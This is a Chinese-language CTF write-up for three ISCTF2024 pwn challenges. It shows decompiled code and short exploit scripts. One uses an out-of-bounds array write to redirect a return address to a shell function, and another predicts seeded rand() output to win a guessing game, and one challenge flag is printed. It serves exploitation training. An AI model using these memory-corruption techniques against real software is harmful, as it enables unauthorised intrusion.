Netcat

通过题目描述可以知道,这是一道nc题目,那就直接连接一下看看

easy pwn!
just have fun
ISCTF{5033fc9a-b09c-4fd3-8551-0cb22283d299}

OK,直接给flag,那就没什么说的了。

girlfriend

先看一下开启了哪些保护

[*] '/mnt/d/国内赛/ISCTF2024/girlfriend'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No

很常规,放入ida中进行分析

int __fastcall main(int argc, const char **argv, const char **envp)
{
_BYTE buf[40]; // [rsp+0h] [rbp-30h] BYREF
char s1[8]; // [rsp+28h] [rbp-8h] BYREF

init(argc, argv, envp);
puts("welcome to isctf2024");
puts("first i need your team id");
read(0, buf, 0x30u);
if ( strcmp(s1, "admin") )
{
puts("no no no");
exit(0);
}
puts("ok, go on");
vuln();
return 0;
}
__int64 vuln()
{
__int64 result; // rax
_QWORD v1[5]; // [rsp+0h] [rbp-30h] BYREF
__int64 n7; // [rsp+28h] [rbp-8h]

for ( n7 = 0; n7 <= 7; ++n7 )
{
printf("please input your %d girlfriend birthday\n", n7 + 1);
result = __isoc99_scanf("%ld", &v1[n7]);
}
return result;
}
int amaze()
{
return system("/bin/sh");
}

看起来挺有意思的,这道题目并不是传统的栈溢出,这道题目要使用数组越界修改返回地址。首先先利用栈上的输入修改s1的值为”admin\x00”,从而能够进入vuln函数。分析一下进入vuln函数后栈上的分布,在v1[5]处存放的是n7,v1[6]存放的是rbp,v1[7]存放的是返回地址,所以先输入5次后要注意下如何修改n7的值,还有一点就是这道题要输入整形,所以得将16进制数改为10进制数。exp如下:

amaze = 0x401216
ret = 0x000000000040101a
payload = cyclic(0x28) + b"admin\x00"
sl(payload)
sl(b"1")
sl(b"1")
sl(b"1")
sl(b"1")
sl(b"1")
sl(b"5")
sl(b"0")
sl(b"4198942")

ez_game

依然先看一下开启了哪些保护

[*] '/mnt/d/国内赛/ISCTF2024/ez_game/ez_game'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No

放入ida中进行分析

int __fastcall main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+Ch] [rbp-1A4h] BYREF
_BYTE v5[400]; // [rsp+10h] [rbp-1A0h] BYREF
unsigned int seed; // [rsp+1A0h] [rbp-10h]
int v7; // [rsp+1A8h] [rbp-8h]
int n20000; // [rsp+1ACh] [rbp-4h]

init(argc, argv, envp);
seed = 1;
puts("Welcome to ISCTF's pwn mini-game.");
puts("This procedure is only 15 seconds");
signal(14, handle_sigalrm);
alarm(0xFu);
printf("Enter your username: ");
gets(v5);
srand(seed);
for ( n20000 = 0; n20000 <= 20000; ++n20000 )
{
v7 = rand() % 7 + 1;
printf("Round %d\n", n20000 + 1);
printf("Please enter the number you want to guess: ");
__isoc99_scanf("%d", &v4);
if ( v7 != v4 )
{
puts("Wrong, goodbye");
exit(1);
}
puts("Congratulations, you win!");
}
getshell();
return 0;
}
int getshell()
{
puts("It's your reward, take advantage of it.");
return system("/bin/sh");
}

是一道猜数的题目,尽管这道题目给了明显的栈溢出函数gets,但是由于这是在猜数循环前的,因此无法利用这个栈溢出。这道题目考查的就是伪随机数,这里就直接上exp了:

libc = ctypes.CDLL(libc_file)
libc.srand(1)

payload = b'a\n'
for _ in range(0x4e21): # 20001
payload += str(libc.rand() % 7 + 1).encode() + b'\n'
s(payload)

0verf10w